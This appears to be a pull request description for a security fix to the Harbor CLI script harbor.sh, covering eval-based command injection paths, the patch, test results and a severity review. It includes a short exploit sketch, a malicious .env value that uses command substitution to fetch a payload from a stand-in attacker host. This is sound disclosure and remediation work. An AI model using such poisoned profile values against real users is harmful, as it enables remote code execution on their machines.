fix: mitigate CWE-78 command injection in harbor.sh

[sebastiondev]

Security Fix: Mitigate CWE-78 Command Injection in harbor.sh

Vulnerability Summary

CWE: CWE-78 (OS Command Injection)
Severity: Medium (adjusted from initial "High" after disprove analysis — see below)
Affected file: harbor.sh

Harbor's CLI script uses eval on user-controllable data in several code paths. The primary realistic attack vector is through malicious profile files downloaded from URLs (harbor profile set <url>), where crafted .env values containing shell metacharacters are later executed via eval echo patterns throughout the script.

Data Flows

1. Profile download → eval chain (most realistic):
   harbor profile set <url> → downloads .env file → values consumed by eval echo "$(env_manager get cli.path)" in run_harbor_doctor, link_cli, run_fixfs, run_harbor_find → arbitrary command execution

2. Alias execution via eval:
   harbor alias set <name> <cmd> (or loaded from profile) → harbor run <alias> → eval "$maybe_cmd" → arbitrary command execution

3. llamacpp model name injection:
   harbor pull <model> → model name interpolated into single-quoted shell string inside container script → single-quote breakout → command execution inside container (with mounted cache volumes)

4. History re-execution:
   harbor history → eval "$(cat "$output_file")" → executes selected history entry via raw eval

5. Indirect variable expansion via eval:
   get_default_log_level/get_default_log_label used eval echo \$$var_name — shell metacharacters in variable values could be executed

---

Fix Description & Rationale

This patch makes minimal, targeted changes to eliminate eval usage on user-controllable inputs:

Change	Rationale
New expand_path() function	Safely expands ~/... paths using parameter expansion (${HOME}/${path#"~/"}) instead of eval echo. Replaces 12 instances of eval echo "$(env_manager get ...)" across run_harbor_doctor, link_cli, unlink_cli, run_harbor_find, and run_fixfs.
Alias re-dispatch via $0	run_run now executes aliases by re-dispatching through Harbor's own command handler ($0 $maybe_cmd) instead of eval "$maybe_cmd". This ensures aliases can only invoke valid Harbor subcommands.
llamacpp model via env var	Model name is passed to the container as an environment variable (-e "HARBOR_PULL_MODEL=$model") and referenced as $HARBOR_PULL_MODEL inside the script, instead of being interpolated into the shell string.
History re-dispatch via $0	run_history uses $0 $(cat "$output_file") instead of eval "$(cat "$output_file")".
Indirect variable expansion via ${!var_name}	get_default_log_level/get_default_log_label use Bash indirect expansion instead of eval echo.
Profile download validation	download_profile now rejects profiles containing backticks or $() in non-comment lines, and warns users to review downloaded profiles.

Files changed: harbor.sh (55 lines changed), test_security_fix.sh (new, 354 lines)

---

Test Results

All 26 tests pass (0 failures, 0 skips):

=== 1. harbor.sh syntax check ===
  ✅ PASS: harbor.sh passes bash -n syntax check

=== 2. expand_path function ===
  ✅ PASS: expand_path '~/some/path' -> '/home/user/some/path'
  ✅ PASS: expand_path '~' -> '/home/user'
  ✅ PASS: expand_path '/usr/local/bin' -> passthrough
  ✅ PASS: expand_path 'relative/path' -> passthrough
  ✅ PASS: expand_path '' -> empty string
  ✅ PASS: expand_path does NOT execute command substitution
  ✅ PASS: expand_path does NOT execute backtick commands
  ✅ PASS: expand_path '~/$(echo INJECTED)' is safe

=== 3. Indirect variable expansion ===
  ✅ PASS: get_default_log_level INFO -> 10
  ✅ PASS: get_default_log_level ERROR -> 30
  ✅ PASS: get_default_log_label INFO -> INFO_LABEL
  ✅ PASS: get_default_log_label ERROR -> ERROR_LABEL
  ✅ PASS: get_default_log_level does NOT execute injected var value

=== 4. Profile metacharacter validation ===
  ✅ PASS: Backtick injection detected in profile
  ✅ PASS: Command substitution $() detected in profile
  ✅ PASS: Normal profile values pass validation
  ✅ PASS: Comments with $() are NOT flagged (correct)
  ✅ PASS: Inline $() in value is correctly flagged

=== 5. Alias re-dispatch (no raw eval) ===
  ✅ PASS: run_run uses $0 to re-dispatch alias
  ✅ PASS: run_run does NOT use eval on alias commands

=== 6. llamacpp model env var injection fix ===
  ✅ PASS: llamacpp uses HARBOR_PULL_MODEL env var
  ✅ PASS: llama-server uses $HARBOR_PULL_MODEL reference
  ✅ PASS: Model passed via -e flag to container

=== 7. History command re-dispatch ===
  ✅ PASS: run_history uses $0 re-dispatch instead of eval
  ✅ PASS: run_history does NOT use eval on selected command

=== 8. Remaining eval audit (informational) ===
  ℹ️  Remaining eval occurrences in harbor.sh: 30
  ℹ️  (Some eval usage in env_manager internals may be necessary)

=========================================
Results: 26 passed, 0 failed, 0 skipped
=========================================

---

Disprove Analysis (Self-Adversarial Review)

We attempted to disprove our own findings. Here is the honest assessment:

What's genuinely valid

• Profile download → eval chain is a real, exploitable attack path. A malicious .env file downloaded from a URL gets its values executed via eval. The fix correctly addresses this by both rejecting suspicious profiles AND removing eval from the consumption paths.
• llamacpp model name injection inside a container is technically exploitable (breaking out of single quotes) and the fix (passing via env var) is correct.
• History eval and alias eval fixes are reasonable defense-in-depth.

What's overstated (severity adjustment)

• Self-injection via harbor config set: A user setting their own config to malicious values on their own machine is not a meaningful vulnerability — they already have shell access and could just run the malicious command directly.
• Alias injection is also self-injection unless malicious profiles are involved.
• Harbor is a local, single-user CLI tool — not a web service, API, or multi-tenant application. The threat model is fundamentally different from a network service.

Mitigations already present

1. Harbor is a local, single-user CLI tool run directly by the user who already has shell access.
2. The only realistic external attack vector (profile download via URL) requires the user to explicitly run harbor profile set <url> — similar to piping a curl download to sh.
3. Model names pass through HuggingFace URL validation (curl --head --fail) before reaching the injection point — metacharacters would likely fail this HTTP check.
4. Docker container isolation limits blast radius for the llamacpp vector (though cache volumes are mounted).
5. History commands are self-generated — only commands the user previously ran appear.

Preconditions for exploitation

For the most realistic attack (malicious profile download):

1. Attacker hosts a malicious .env file at a URL
2. User must be socially engineered into running harbor profile set <malicious-url>
3. User then triggers a code path that consumes the poisoned values (e.g., harbor doctor, harbor link)

Exploit sketch (profile download, pre-fix)

# Malicious .env hosted at attacker URL
HARBOR_HF_CACHE=~/.cache/huggingface
HARBOR_CLI_PATH=$(curl https://evil.example.com/payload.sh)
HARBOR_OLLAMA_CACHE=~/.ollama

Post-fix: Rejected at download time by metacharacter validation, and even if the validation were bypassed, expand_path does not execute embedded commands.

Remaining eval usage

30 eval occurrences remain in harbor.sh. These are in env_manager internals operating on programmer-controlled strings (hardcoded service configuration, internal callbacks), not user-supplied input. They are outside the scope of this fix.

Verdict

LIKELY_VALID at Medium severity. The fix is technically sound, improves code quality, and eliminates unnecessary eval usage on user-controllable data. The profile download path is a genuine (if socially-engineered) external input vector. Submitting because replacing eval with safer alternatives is good practice, and the profile download validation is a sensible addition.

---

No prior security reports or SECURITY.md

No prior security issues were found in the GitHub issue tracker, and no SECURITY.md exists in the repository.